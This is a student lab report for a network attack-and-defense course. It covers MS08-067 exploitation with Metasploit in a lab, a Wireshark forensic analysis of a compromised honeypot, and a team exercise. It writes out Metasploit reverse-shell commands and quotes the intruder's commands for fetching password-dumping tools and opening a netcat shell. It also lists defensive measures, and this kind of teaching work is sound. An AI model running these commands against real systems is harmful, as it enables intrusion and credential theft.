# 20242924 2024-2025-2 《网络攻防实践》实践六报告
20242924 2024-2025-2 《网络攻防实践》实践六报告
1.实践内容
1.1 MS08-067
1.1.1 漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
1.1.2 攻击原理
MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
1.1.3 源码分析
MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
1.2 Metasploit
一款免费开源的安全漏洞检测工具,本次实践会使用Metasploit:
1.2.1 exploits(渗透攻击/漏洞利用模块)
渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码。每个漏洞都有相应的攻击代码。
1.2.2 payloads (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
2.实践过程
2.1 动手实践Metasploit windows attacker
- 任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
本次使用的攻击机为Kali(IP:192.168.200.2),靶机为Win2KServer(IP:192.168.200.131),且配置在了同一个网段下(都使用NAT模式),连通性测试如下图所示:
命令行输入msfconsole
,启动msfconsole
输入search MS08_067
查看该漏洞信息:
输入命令show options
可以查看可选择的操作:
输入命令show payloads
可以显示可用的攻击载荷
输入use exploit/windows/smb/ms08_067_netapi
使用相关攻击脚本,使用set payload generic/shell_reverse_tcp
选择要用的攻击负载模块:
使用set RHOST 192.168.200.10
设置靶机为win2k,set LHOST 192.168.200.2
设置攻击机为kali,再show options查看是否配置成功,如图:
输入exploit
开始攻击,要注意目标主机的445端口要开放,查看445端口是否开放之后,如果没有开放,则需要开启445端口。攻击成功之后输入若干命令进行测试:
远程可以操纵windows靶机,通过输入命令ipconfig可以查看靶机的IP地址,攻击成功。
2.2 取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
2.2.1 攻击者使用了什么破解工具进行攻击?
首先用wireshark软件打开snort-0204@0117.log
,通过命令ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
进行过滤,过滤后可以看到存在TCP和HTTP协议数据包
右键选择follow-->TCP stream,跟踪一个数据包的cpu数据流,找到特殊字符%C0%AF
上网查询可知,发现[%C0%AF]为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。因此存在Unicode漏洞攻击。
2.2.2 攻击者如何使用这个破解工具进入并控制了系统
在140行有一个msadcs.dll文件,这是一个远程数据访问服务的文件,存在RDS漏洞,该漏洞可以导致攻击者远程执行用户系统的命令,并以设备用户的身份运行
筛选tcp.stream eq11进行HTTP流追踪,查看发现有shell语句和!ADM等关键字符,有很多这里列举一些:
- 1.cmd/c echo get pdump.exe>>ftpcom和cmd/c echo get samdump.dll>>ftpcom —用来配合使用破解口令;
- 2.cmd/c echo get nc.exe>>sasfile 是一个远程入侵的后门程序
这里看到!ADM!ROX!YOUR!WORLD!
,根据教材内容,证实这是RDS漏洞攻击,攻击者通过 msadcs.dll 中存在RDS漏洞进行了SQL注入攻击,并执行了命令 cmd /c echo werd >> c:\fun ,特征字符串ADM!ROX!YOUR!WORLD
出现多次,根据资料可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。
2.2.3 攻击者获得系统访问权限后做了什么
查看到 1233 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限
继续查看http数据流,可以得知攻击者删除了ftp的文件
从以下数据流来看,下图中攻击者使用了SQl注入,在靶机系统目录下生成一个文件
在编号2339追踪http流,我们可以看到ADD,这意味着提升权限
2.2.4 我们如何防止这样的攻击?
- 对于Unicode漏洞攻击:
1.更改cmd.exe和各常用命令的名称。
2.停止不必要的服务:在internet服务器中,为了系统的安全,必须停掉所有的缺省web目录的服务。然后统统删掉,只保留所要的,以免招来后患.
3.限制iusr_server的权限 - 对于RDS:
1.移走cmd.exe (ULG推荐的补丁方法)
2.定期扫描系统漏洞
3.禁用不需要用的RDS等服务
4.因为 FAT不安全,我们可使用 NTFS 文件系统
2.2.5你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
查看tcp数据流时,发现其是蜜罐主机。攻击者警觉了他的目标是一台蜜罐主机,攻击者写了这是他见过的最好的蜜罐
2.3 团队对抗实践:windows系统远程渗透攻击和分析。
- 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击机和靶机两台虚拟机的IP地址如下:
角色 | IP地址 |
---|---|
防守方(侯佳欣) | 192.168.31.123 |
攻击方 (任雯楚) | 192.168.31.225 |
kali启动msfconsole
服务:
输入命令:use exploit/windows/smb/ms08_067_netapi
进入漏洞所在文件:
输入指令:
set payload generic/shell_reverse_tcp
set LHOST
set RHOST
exploit
输入一系列指令更改防守方windows里的c盘文件:
文件夹中有攻击方输入的.txt文件
wireshark后台捕捉的文件包里分析tcp流,可以看到shell的命令。
3.学习中遇到的问题及解决
- 问题1:Win2KServer无法ping通kali
- 问题1解决方案:修改Win2KServer的ip地址,使其处于同一局域网。
4.实践总结
本次实验中,在第一个实验里学会利用Metasploit工具并对漏洞进行挖掘利用;第二个实验则需要自己进行分析,从很多信息中找到有用有效的信息,要对wireshark中冗杂的信息进行合理筛选才能更高效的找到攻击信息;第三个则是团队协作,完成两台主机上的虚拟机攻防,有了更加真切的攻防体验。